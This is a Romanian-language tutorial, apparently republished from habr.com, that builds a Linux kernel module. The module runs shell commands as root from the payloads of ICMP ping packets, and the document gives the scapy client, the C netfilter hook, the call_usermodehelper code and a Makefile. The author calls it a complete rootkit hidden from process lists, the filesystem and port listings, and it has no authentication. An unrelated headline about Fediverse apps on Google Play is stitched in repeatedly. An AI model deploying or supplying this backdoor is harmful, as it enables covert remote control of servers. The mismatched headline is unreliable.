Aplicațiile pentru rețele sociale din Fediverse care nu acceptă cenzura pot fi eliminate din Google Play

Aplicațiile pentru rețele sociale din Fediverse care nu acceptă cenzura pot fi eliminate din Google Play

TL;DR: scriu un modul kernel care va citi comenzi din payload-ul ICMP și le va executa pe server chiar și în cazul în care SSH-ul dvs. a picat. Pentru cei mai nerăbdători, întreg codul se află pe github.

Atenție! Programatorii experimentați în C riscă să plângă lacrimi de sânge! Aș putea greși chiar și în terminologie, dar orice critică este binevenită. Postarea este destinat celor care au o idee generală despre programarea în C și doresc să arunce o privire asupra interiorului Linux.

În comentariile la prima mea pe care l-ați citit s-a menționat SoftEther VPN, care poate mimica anumite protocoale „obișnuite”, în special HTTPS, ICMP și chiar DNS. Îmi pot imagina funcționarea doar a primului, deoarece sunt bine cunoscut cu HTTP(S), iar tunelarea deasupra ICMP și DNS a trebuit să o studiez.

Aplicațiile pentru rețele sociale din Fediverse care nu acceptă cenzura pot fi eliminate din Google Play

Da, am aflat în 2020 că în pachetele ICMP pot fi inserate payload-uri arbitrare. Dar mai bine mai târziu decât niciodată! Și dacă se poate face ceva cu aceasta, trebuie să facem. Deoarece în viața mea de zi cu zi folosesc cel mai adesea linia de comandă, inclusiv prin SSH, ideea unui shell ICMP mi-a venit imediat în minte. Și pentru a strânge un întreg bingo de prostii, am decis să scriu un modul Linux în limbajul despre care am doar o idee generală. Acest shell nu va fi vizibil în lista de procese, poate fi încărcat în kernel și nu va sta pe sistemul de fișiere, nu veți vedea nimic suspect în lista porturilor ascultătoare. Ca funcționalitate, este un rootkit complet, dar sper să-l dezvolt și să-l folosesc ca un shell de ultimă speranță, atunci când Load Average este prea mare pentru a accesa prin SSH și a executa măcar echo i > /proc/sysrq-trigger, pentru a restaura accesul fără restart.

Luăm un editor de text, abilități de bază de programare în Python și C, Google și o mașină virtuală pe care nu-mi pasă să o sacrific dacă totul se strică (opțional — VirtualBox/KVM/local/etc) și să începem!

Partea clientului

Mi s-a părut că pentru partea clientului va fi nevoie să scriu un script de vreo 80 de linii, dar au existat oameni buni care au făcut toată munca pentru mine. Codul s-a dovedit a fi surprinzător de simplu, se încadrează în 10 linii semnificative:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Scriptul acceptă doi argumente, o adresă și un payload. Înainte de a trimite payload-ul, este precedat de o cheie rulati:, acesta ne va fi necesar pentru a exclude pachetele cu payload aleator.

Nucleul necesită privilegii pentru a crea pachete, așa că scriptul trebuie să fie rulat cu drepturi de superuser. Nu uitați să oferiți permisiuni de executare și să instalați scapy. În Debian există un pachet numit python3-scapy. Acum putem verifica cum funcționează totul.

Rularea și ieșirea comenzii
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Hello, world!"
Începere emisie:
.Finalizat trimiterea a 1 pachet.
*
Pachete primite 2, am obținut 1 răspuns, 0 pachete rămase
###[ IP ]###
versiune = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
tip = echo-reply
cod = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Așa arată în sniffer
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Se rulează ca utilizator "root" și grup "root". Acest lucru ar putea fi periculos.
Capturând pe 'wlp1s0'
Cadru 1: 59 octeți pe fir (472 biți), 59 octeți capturați (472 biți) pe interfața wlp1s0, id 0
Protocol Internet Versiunea 4, Src: 192.168.0.240, Dst: 45.11.26.232
Protocol de Control al Mesajelor Internet
Tip: 8 (Cerere Echo (ping))
Cod: 0
Sumă de verificare: 0xd603 [corectă]
[Starea sumei de verificare: Bună]
Identificator (BE): 0 (0x0000)
Identificator (LE): 0 (0x0000)
Număr de secvență (BE): 0 (0x0000)
Număr de secvență (LE): 0 (0x0000)
Date (17 octeți)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 rulati:Salut, lume
0010 21 !
Date: 72756e3a48656c6c6f2c20776f726c6421
[Lungime: 17]

Cadru 2: 59 bytes pe fir (472 bits), 59 bytes capturate (472 bits) pe interfața wlp1s0, id 0
Protocol Internet Versiunea 4, Src: 45.11.26.232, Dst: 192.168.0.240
Protocol de Control al Mesajelor Internet
Tip: 0 (Răspuns Echo (ping))
Cod: 0
Checksum: 0xde03 [corect]
[Starea sumei de verificare: Bună]
Identificator (BE): 0 (0x0000)
Identificator (LE): 0 (0x0000)
Număr de secvență (BE): 0 (0x0000)
Număr de secvență (LE): 0 (0x0000)
[Cadru cerere: 1]
[Timp răspuns: 19.094 ms]
Date (17 octeți)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 rulati:Salut, lume
0010 21 !
Date: 72756e3a48656c6c6f2c20776f726c6421
[Lungime: 17]

^C2 pachete capturate

Payload-ul în pachetul de răspuns nu se schimbă.

Modulul kernel

Pentru a construi în virtualizare cu Debian, vor fi necesare cel puțin make și linux-headers-amd64, restul va fi tras în calitate de dependențe. Nu voi include codul întreg în articol, îl puteți clona pe Github.

Configurarea hook-ului

Mai întâi, avem nevoie de două funcții pentru a încărca modulul și pentru a-l descărca. Funcția de descărcare nu este obligatorie, dar atunci rmmod nu va putea fi executată, modulul va fi descărcat doar la oprire.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Ce se întâmplă aici:

  1. Se trag două fișiere de antet pentru manipularea efectivă a modulului și a netfilter-ului.
  2. Toate operațiunile trec prin netfilter, unde pot fi definite hook-uri. Pentru aceasta, este necesar să declarăm structura în care hook-ul va fi configurat. Cel mai important este să specificăm funcția care va fi executată ca hook: nfho.hook = icmp_cmd_executor; înainte de a ajunge la funcție.
    Apoi am definit momentul procesării pachetului: NF_INET_PRE_ROUTING indică să se proceseze pachetul atunci când tocmai a apărut în nucleu. Se poate folosi NF_INET_POST_ROUTING pentru a procesa pachetul la ieșirea din nucleu.
    Setez un filtru pe IPv4: nfho.pf = PF_INET;.
    Atribui hook-ului meu cel mai înalt prioritate: nfho.priority = NF_IP_PRI_FIRST;
    Și îi înregistrez structura de date ca hook: nf_register_net_hook(&init_net, &nfho);
  3. În funcția finală, hook-ul este eliminat.
  4. Licența este specificată clar, pentru ca compilatorul să nu se plângă.
  5. Functions module_init() și module_exit() definesc alte funcții ca inițializatoare și finale ale muncii modulului.

Extracția payload-ului

Acum trebuie să extrag payload-ul, aceasta s-a dovedit a fi cea mai complicată sarcină. În nucleu nu există funcții încorporate pentru a lucra cu payload-uri, se pot analiza doar antetele protocoalelor de nivel superior.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Ce se întâmplă:

  1. A trebuit să conectez fișiere de antet suplimentare, de data aceasta pentru manipularea antetelor IP și ICMP.
  2. Setez lungimea maximă a șirului: #define MAX_CMD_LEN 1976. De ce anume așa? Pentru că pentru o valoare mai mare, compilatorul se plânge! Mi s-a sugerat deja că trebuie să mă ocup de stivă și de heap, cândva voi face asta și poate chiar voi corecta codul. Setez un șir în care va fi stocat comanda: char cmd_string[MAX_CMD_LEN];. Acesta trebuie să fie vizibil în toate funcțiile, despre acest lucru voi vorbi mai în detaliu la punctul 9.
  3. Acum trebuie să inițializez (struct work_struct my_work;) structura și să o leg de o altă funcție (DECLARE_WORK(my_work, work_handler);). De ce este nevoie de aceasta, voi explica și la punctul 9.
  4. Acum declar funcția care va fi hook. Tipul și argumentele acceptate sunt dictate de netfilter, ne interesează doar skb. Acesta este buffer-ul socket-ului, o structură de date fundamentală care conține toate informațiile disponibile despre pachet.
  5. Pentru funcționarea funcției vor fi necesare două structuri și câteva variabile, inclusiv doi iteratori.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Putem să trecem la logică. Pentru funcționarea modulului nu sunt necesare pachete în afară de ICMP Echo, așa că analizăm buffer-ul cu funcții încorporate și eliminăm toate pachetele care nu sunt ICMP sau Echo. Întoarcerea NF_ACCEPT semnifică acceptarea pachetului, dar puteți și să renunțați la pachete, returnând NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Nu am verificat ce se va întâmpla fără verificarea antetelor IP. Cunoștințele mele minime de C îmi indică că, fără verificări suplimentare, va avea loc cu siguranță ceva îngrozitor. Aș fi bucuros dacă m-ați contrazice în această privință!

  7. Acum, când pachetul este într-adevăr de tipul dorit, putem extrage datele. Fără funcția încorporată, trebuie întâi să obțin un pointer la începutul payload-ului. Acest lucru se face printr-o metodă indirectă, trebuie să iau un pointer la începutul antetului ICMP și să-l deplasez pe dimensiunea acestui antet. Pentru toate acestea, folosește structura icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Capătul titlului trebuie să corespundă cu capătul sarcinii utile în skb, așa că îl obținem prin metode nucleare din structura corespunzătoare: tail = skb_tail_pointer(skb);.

    Aplicațiile pentru rețele sociale din Fediverse care nu acceptă cenzura pot fi eliminate din Google Play

    Am luat imaginea de aici, poți citi mai multe detalii despre bufferul socket-ului.

  8. Obținând pointerele pentru început și sfârșit, putem copia datele într-un șir cmd_string, verificând dacă are un prefix rulati: și, fie aruncând pachetul în cazul absenței acestuia, fie rescrierea din nou a șirului, eliminând acest prefix.
  9. Ei bine, acum putem apela încă un handler: schedule_work(&my_work);. Deoarece nu este posibil să transmitem un parametru în astfel de apeluri, șirul cu comanda trebuie să fie global. schedule_work() va plasa funcția asociată cu structura transmisă în coada generală a planificatorului de sarcini și se va încheia, permițându-ne să nu așteptăm finalizarea comenzii. Asta e necesar deoarece hook-ul trebuie să fie foarte rapid. Altfel, fie nimic nu se va lansa, fie vei primi un panic kernel. Întârzierea este mortală!
  10. Totul, putem accepta pachetul cu o returnare corespunzătoare.

Apelarea programului în user space

Această funcție este cea mai clară. Numele ei a fost dat în DECLARE_WORK(), tipul și argumentele acceptate nu sunt importante. Luăm șirul cu comanda și îl transmitem întreg la shell. Să se ocupe el de parsing, căutarea binarelor și de tot restul.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Setăm argumentele într-un array de șiruri argv[]. Presupun că toată lumea știe că programele sunt de fapt executate exact așa, nu ca un șir continuu cu spații.
  2. Setăm variabilele de mediu. Am pus doar PATH cu un set minim de căi, presupunând că toată lumea le are deja combinate /bin de /usr/bin și /sbin de /usr/sbin. Alte căi rar au importanță în practică.
  3. Gata, executăm! Funcția kernel call_usermodehelper() primește ca intrare. calea către binar, array-ul de argumente, array-ul de variabile de mediu. Aici de asemenea presupun că toată lumea înțelege sensul de a transmite calea către fișierul executabil ca argument separat, dar poți întreba. Ultimul argument indică dacă să aștepte finalizarea procesului (UMH_WAIT_PROC), lansând procesul (UMH_WAIT_EXEC) sau să nu aștepte deloc (UMH_NO_WAIT). Există și UMH_KILLABLE, nu m-am adâncit în asta.

Compilare

Compilarea modulelor kernel se face prin același framework make kernel. Este apelat make într-un director special legat de versiunea nucleului (definit aici: KERNELDIR:=/lib/modules/$(shell uname -r)/build), iar locația modulului este transmisă prin variabila M în argumente. În țintele icmpshell.ko și clean se folosește în întregime acest cadru. În obj-m se specifică fișierul obiect care va fi transformat într-un modul. Sintaxa care transformă main.o în icmpshell.o (icmpshell-objs = main.o) pentru mine pare nu foarte logic, dar să rămână așa.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Compilăm: make. Încărcăm: insmod icmpshell.ko. Gata, se poate verifica: sudo ./send.py 45.11.26.232 "date > /tmp/test". Dacă pe mașina dvs. a apărut un fișier /tmp/test și conține data trimiterii cererii, înseamnă că ați făcut totul corect și eu am făcut totul corect.

Concluzie

Prima mea experiență în dezvoltarea nucleului a fost mult mai simplă decât mă așteptam. Chiar și fără experiență în dezvoltarea pe C, orientându-mă după sugestiile compilatorului și ieșirile de pe Google, am reușit să scriu un modul funcțional și să mă simt ca un hacker de kernel, dar și ca un script kiddie. În plus, am intrat pe canalul Kernel Newbies, unde mi s-a sugerat să folosesc schedule_work() în loc de apelul call_usermodehelper() în interiorul hook-ului și am fost corect reprobat, fiind suspectat pe bună dreptate de scam. O sută de linii de cod mi-a costat cam o săptămână de dezvoltare în timpul liber. O experiență reușită, care mi-a distrus mitul personal despre complexitatea insurmontabilă a dezvoltării de sistem.

Dacă cineva este de acord să facă o revizuire a codului pe GitHub, îl voi aprecia. Sunt aproape sigur că am făcut o mulțime de greșeli stupide, în special în lucrul cu șirurile.

Aplicațiile pentru rețele sociale din Fediverse care nu acceptă cenzura pot fi eliminate din Google Play

Sursa: habr.com

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster